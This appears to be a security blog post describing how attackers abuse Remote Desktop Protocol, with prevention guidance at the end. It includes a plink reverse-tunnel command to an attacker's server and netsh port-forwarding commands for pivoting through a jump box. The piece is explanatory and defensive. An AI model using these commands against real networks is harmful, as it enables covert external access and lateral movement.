Attacking RDP


Remote Desktop Protocol (RDP) or the Microsoft Remote Desktop Services (MSRDS) is used at various organisations for the convenience of system administrators, engineers, and usually a small pool or remote workers. With the recent outbreak of COVID-19 we are now seeing unprecedented use of this protocol to facilitate remote working for all employees.

However, there is a darkside to RDP; It is known that sophisticated attackers can abuse this level of access to facilitate external access into internal networks. This access is normally blocked by a firewall or security gateway device, but once a foothold has been established, an attackers will launch their tried and tested techniques of persistence:

  • sniffing/searching for credentials,
  • installing keyloggers
  • installing backdoors
  • installing additional malware/ransomware?


Figure 1. Traffic from the Internet is blocked by the firewall. However, a misconfigured firewall permits enterprise network traffic to reach the attacker server.

RDP Tunneling

A common tool on windows used to tunnel RDP sessions is PuTTY Link (plink):

Plink can be used to establish a Secure SHell (SSH) connection to an external system using arbitrary ports. You may think this communication is one way, like fetching a webpage in a browser, but actually this opens up the possibility for the attacker to open up a two-way communication channel.

This particular method has been used by the APT groups FIN7 & FIN8 to attacker banking systems.

RDP 2-way comms via tunnel

Figure 2. Using a plink tunnel, an attacker can set up a communication tunnel between their attacking server, and the compromised network host.

Example command:

plink.exe <users>@<IP or domain> -pw <password> -P 22 -2 -4 -T -N -C -R 12345:

At this point it should be noted that for an attacker to be able to RDP to a system, they must already have access to the system through other means of compromise in order to create or access the necessary tunneling utility.

  • For example, an attacker’s initial system compromise could have been the result of a payload dropped from a phishing email aimed at establishing a foothold into the environment.
  • Also plink is not installed on systems by default, but is one of the favourite system administrator tools, so either the attacker has found this already installed, or has installed it themselves.

Jump Box / Pivoting

RDP sessions can be daisy-chained across multiple systems as a way to move laterally through a network. Our Incident Response Team has observed threat actors using the native Windows Network Shell (netsh) command to utilise RDP port forwarding as a way to access newly discovered segmented networks reachable only through an administrative jump box.

Example netsh Port Forwarding Command:

netsh interface portproxy add v4tov4 listenport=8001 listenaddress=<JUMP BOX IP> connectport=3389 connectaddress=<DESTINATION IP>

Example Shortened netsh Port Forwarding Command:

netsh I p a v l=8001 listena=<JUMP BOX IP> connectp=3389 c=<DESTINATION IP>

For example, a threat actor could configure the jump box to listen on an arbitrary port for traffic being sent from a previously compromised system. The traffic would then be forwarded directly through the jump box to any system on the segmented network using any designated port, including the default RDP port TCP 3389. This type of RDP port forwarding gives threat actors a way to utilize a jump box’s allowed network routes without disrupting legitimate administrators who are using the jump box during an ongoing RDP session.

Prevention and Detection of RDP Tunneling

If RDP is enabled, threat actors have a way to move laterally and maintain presence in the environment through tunneling or port forwarding. To mitigate vulnerability to and detect these types of RDP attacks, organizations should focus on both host-based and network-based prevention and detection mechanisms.

Host-Based Prevention:

  • Disable the remote desktop service on all end-user workstations and systems for which the service is not required for remote connectivity.
  • Enable host-based firewall rules that explicitly deny inbound RDP connections.
  • Prevent the use of RDP using local accounts on workstations by enabling the “Deny log on through Remote Desktop Services” security setting.

Network-Based Prevention:

  • Where RDP is required for connectivity, enforce the connection to be initiated from a designated jump box or centralized management server.
  • Employ the “Deny log on through Remote Desktop Services” security setting for privileged accounts (e.g. domain administrators) and service accounts, as these types of accounts are commonly used by threat actors to laterally move to sensitive systems in an environment.


RDP enables IT environments to offer freedom and interoperability to users. But with more and more threat actors using RDP to move laterally across networks with limited segmentation, security teams are being challenged to decipher between legitimate and malicious RDP traffic. Therefore, adequate host-based and network-based prevention and detection methods should be taken to actively monitor for and be able to identify malicious RDP usage.

Share on: